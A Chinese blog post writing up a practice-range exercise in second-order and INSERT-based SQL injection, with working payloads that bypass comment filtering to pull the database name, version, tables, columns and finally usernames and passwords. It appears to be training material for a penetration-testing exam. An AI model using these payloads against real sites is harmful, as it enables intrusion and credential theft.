PTE靶场(一)有趣的sql注入

靶场环境

url:http://49.234.52.232:81/

详细步骤

这里注册账户进入,注册了一个test1的用户,在发表文章出存在注入,并且限制了#和--注释

image.png

这里先正常发一个文章

image.png
image.png

再用单引号进行测试,发现这里存在注入

image.png

这里发现insert位置存在四个参数,显示只显示第2、3个并且第二三个是文章和内容,第四个是用户名。

注册一个test2'发现同样可以使用二次注入

image.png

这里又注册了一个test2'#的账户,登录发现为test2的用户,也就是说,注册位置不存在过滤#和--

image.png

这里思考用二次注入+insert注入

content=&title=123',sleep(10),/*

image.png

insert article1 value('62613777-1443-DFC8-B5F5-8B7D5EF8EDB5','123',sleep(10),/*','','*/'test1')#')

这里可以看到这里还是四个参数,不过这里通过/**/将第三个注释掉了,用我输入的sql语句代替第三个参数,从而执行命令,同理可以查出数据库信息

数据库名

content=&title=123',(select database()),/*

image.png
image.png

数据库版本信息

content=&title=123',(select version()),/*

image.png
image.png

数据库表名

content=&title=123',(select group_concat(table_name) from information_schema.tables where table_schema = database()),/*

image.png
image.png

数据库列名

content=&title=123',(select group_concat(column_name) from information_schema.columns where table_name = "article1"),/*

image.png
image.png

用户名密码

这里后面的表名如果直接写存在的表名会失败,原因是insert插入后会搜索有无相同表名,需要使用as别名,并且需要使用limit语句进行限制,否则不回显。

content=&title=123',(select group_concat(username) from (select * from users1 limit 0,1)as a),/*

content=&title=123',(select group_concat(password) from (select * from users1 limit 0,1)as a),/*

image.png
image.png

posted @ 2022-11-25 16:15  SummerDon  阅读(586)  评论(0)    收藏  举报